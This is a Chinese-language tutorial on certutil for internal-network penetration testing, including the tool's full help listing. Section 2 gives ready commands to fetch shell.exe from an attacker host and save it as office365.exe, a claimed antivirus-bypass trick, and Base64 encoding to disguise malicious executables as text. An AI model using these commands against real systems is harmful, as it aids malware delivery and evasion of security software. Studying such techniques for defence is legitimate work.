一、Certutil 介紹
Windows有一個名為CertUtil的內置程序,可用於在Windows中管理證書。使用此程序可以在Windows中安裝,備份,刪除,管理和執行與證書和證書存儲相關的各種功能。
CertUtil的一個特性是能夠從遠程URL下載證書或任何其他文件,因為certutil是windows自帶的exe。
使用語法 :
"certutil.exe -urlcache -split -f [URL] output.file"
-f
覆蓋現有文件。
有值的命令行選項。後面跟要下載的文件 url。
-split
保存到文件。
無值的命令行選項。加了的話就可以下載到當前路徑,不加就下載到了默認路徑。
-URLCache
顯示或刪除URL緩存條目。
無值的命令行選項。
但是此合法Windows服務現已被廣泛濫用於惡意用途。
滲透中主要利用其 下載、編碼、解碼、替代數據流 等功能。
這裏我首先在命令行用certutil -?查看一下certutil所有的參數,接下來就總結一下最常用的幾個關於certutil在內網滲透中的應用。
點擊查看代碼
C:\Users\123456\Desktop>certutil -?
動詞:
-dump -- 轉儲配置信息或文件
-dumpPFX -- 轉儲 PFX 結構
-asn -- 分析 ASN.1 文件
-decodehex -- 解碼十六進制編碼的文件
-decode -- 解碼 Base64 編碼的文件
-encode -- 將文件編碼為 Base64
-deny -- 拒絕掛起的申請
-resubmit -- 重新提交掛起的申請
-setattributes -- 為掛起申請設置屬性
-setextension -- 為掛起申請設置擴展
-revoke -- 吊銷證書
-isvalid -- 顯示當前證書部署
-getconfig -- 獲取默認配置字符串
-ping -- Ping Active Directory 證書服務申請接口
-pingadmin -- Ping Active Directory 證書服務管理接口
-CAInfo -- 顯示 CA 信息
-ca.cert -- 檢索 CA 的證書
-ca.chain -- 檢索 CA 的證書鏈
-GetCRL -- 獲取 CRL
-CRL -- 發佈新的 CRL [或僅增量 CRL]
-shutdown -- 關閉 Active Directory 證書服務
-installCert -- 安裝證書頒發機構證書
-renewCert -- 續訂證書頒發機構證書
-schema -- 轉儲證書架構
-view -- 轉儲證書視圖
-db -- 轉儲原始數據庫
-deleterow -- 刪除服務器數據庫行
-backup -- 備份 Active Directory 證書服務
-backupDB -- 備份 Active Directory 證書服務數據庫
-backupKey -- 備份 Active Directory 證書服務證書和私鑰
-restore -- 還原 Active Directory 證書服務
-restoreDB -- 還原 Active Directory 證書服務數據庫
-restoreKey -- 還原 Active Directory 證書服務證書和私鑰
-importPFX -- 導入證書和私鑰
-dynamicfilelist -- 顯示動態文件列表
-databaselocations -- 顯示數據庫位置
-hashfile -- 通過文件生成並顯示加密哈希
-store -- 轉儲證書存儲
-enumstore -- 枚舉證書存儲
-addstore -- 將證書添加到存儲
-delstore -- 從存儲刪除證書
-verifystore -- 驗證存儲中的證書
-repairstore -- 修復密鑰關聯,或者更新證書屬性或密鑰安全描述符
-viewstore -- 轉儲證書存儲
-viewdelstore -- 從存儲刪除證書
-UI -- 調用 CryptUI
-attest -- 驗證密鑰證明請求
-dsPublish -- 將證書或 CRL 發佈到 Active Directory
-ADTemplate -- 顯示 AD 模板
-Template -- 顯示註冊策略模板
-TemplateCAs -- 顯示模板的 CA
-CATemplates -- 顯示 CA 的模板
-SetCASites -- 管理 CA 的站點名稱
-enrollmentServerURL -- 顯示、添加或刪除與 CA 關聯的註冊服務器 URL
-ADCA -- 顯示 AD CA
-CA -- 顯示註冊策略 CA
-Policy -- 顯示註冊策略
-PolicyCache -- 顯示或刪除註冊策略緩存項目
-CredStore -- 顯示、添加或刪除憑據存儲項目
-InstallDefaultTemplates -- 安裝默認的證書模板
-URLCache -- 顯示或刪除 URL 緩存項目
-pulse -- 以脈衝方式執行自動註冊事件或 NGC 任務
-MachineInfo -- 顯示 Active Directory 計算機對象信息
-DCInfo -- 顯示域控制器信息
-EntInfo -- 顯示企業信息
-TCAInfo -- 顯示 CA 信息
-SCInfo -- 顯示智能卡信息
-SCRoots -- 管理智能卡根證書
-DeleteHelloContainer -- 刪除 Hello 登錄容器。
** 在使用此選項後, 用户需要註銷才能完成。**
-verifykeys -- 驗證公/私鑰集
-verify -- 驗證證書,CRL 或鏈
-verifyCTL -- 驗證 AuthRoot 或不允許的證書 CTL
-syncWithWU -- 與 Windows 更新同步
-generateSSTFromWU -- 通過 Windows 更新生成 SST
-generatePinRulesCTL -- 生成捆綁規則 CTL
-downloadOcsp -- 下載 OCSP 響應並寫入目錄
-generateHpkpHeader -- 使用指定文件或目錄中的證書生成 HPKP 頭
-flushCache -- 刷新選定進程(例如 lsass.exe)中的指定緩存
-addEccCurve -- 添加 ECC 曲線
-deleteEccCurve -- 刪除 ECC 曲線
-displayEccCurve -- 顯示 ECC 曲線
-sign -- 重新簽名 CRL 或證書
-vroot -- 創建/刪除 Web 虛擬根和文件共享
-vocsproot -- 創建/刪除 OCSP Web Proxy 的 Web 虛擬根
-addEnrollmentServer -- 添加註冊服務器應用程序
-deleteEnrollmentServer -- 刪除註冊服務器應用程序
-addPolicyServer -- 添加策略服務器應用程序
-deletePolicyServer -- 刪除策略服務器應用程序
-oid -- 顯示 ObjectId 或設置顯示名稱
-error -- 顯示錯誤代碼消息文本
-getreg -- 顯示註冊表值
-setreg -- 設置註冊表值
-delreg -- 刪除註冊表值
-ImportKMS -- 為密鑰存檔導入用户密鑰和證書到服務器數據庫
-ImportCert -- 將證書文件導入數據庫
-GetKey -- 檢索存檔的私鑰恢復 Blob,生成恢復腳本 或恢復存檔的密鑰
-RecoverKey -- 恢復存檔的私鑰
-MergePFX -- 合併 PFX 文件
-ConvertEPF -- 將 PFX 文件轉換為 EPF 文件
-add-chain -- (-AddChain) 添加證書鏈
-add-pre-chain -- (-AddPrechain) 添加預植證書鏈
-get-sth -- (-GetSTH) 獲取簽名樹頭
-get-sth-consistency -- (-GetSTHConsistency) 獲取簽名樹頭更改
-get-proof-by-hash -- (-GetProofByHash) 獲取哈希證明
-get-entries -- (-GetEntries) 獲取項
-get-roots -- (-GetRoots) 獲取根
-get-entry-and-proof -- (-GetEntryAndProof) 獲取項和證明
-VerifyCT -- 驗證證書 SCT
-? -- 顯示該用法消息
CertUtil -? -- 顯示動詞列表(命名列表)
CertUtil -dump -? -- 顯示 "dump" 動詞的幫助文本
CertUtil -v -? -- 顯示所有動詞的所有幫助文本
CertUtil: -? 命令成功完成。
二、常用功能介紹
2.1 下載遠程文件
在 cmd 中將文件從網址上下載下來,保存為123.txt
C:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt
如果超時沒有操作的話就會顯示拒絕訪問
這裏有兩種方法對殺軟進行certutil下載繞過,本質都是執行兩次certutil
第一種方法是先執行一個單獨的certutil,然後再執行下載exe的命令,可以看到這裏已經能夠成功下載
certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe
2.2 將本地程序搭建為http服務器
將本地可執行程序,搭建為一個http服務器,端口為8000,並執行該服務
http://192.168.206.130:8000
C:\Users\12345\Desktop>123.exe -python -m http.server 8000
C:\Users\12345\Desktop>python -m http.server 8000
certutil -urlcache -split -f http://192.168.206.130:8000/123.exe
2.3 使用CertUtil + Base64來繞過安全軟件
Certutil 包含一個編碼參數(編碼),這有助於在 Base64 中編碼文件的內容。可以使用 certutil 對可執行文件進行編碼,然後傳輸編碼後的數據,在接收機上對其進行解碼。
常用與sql注入,對任意文件進行Base64編碼,使惡意代碼樣本看起來像是無害的文本文件,然後使用CertUtil.exe下載後對其進行解碼。下載了文本文件使用“Certutil.exe -decode”命令將Base64編碼文件解碼為可執行文件。
將123.exe編碼為123.txt
C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt
將123.txt解碼為123.exe
C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe
更多詳解參考--->
https://mrwq.github.io/aggregate-paper/butian/certutil詳解/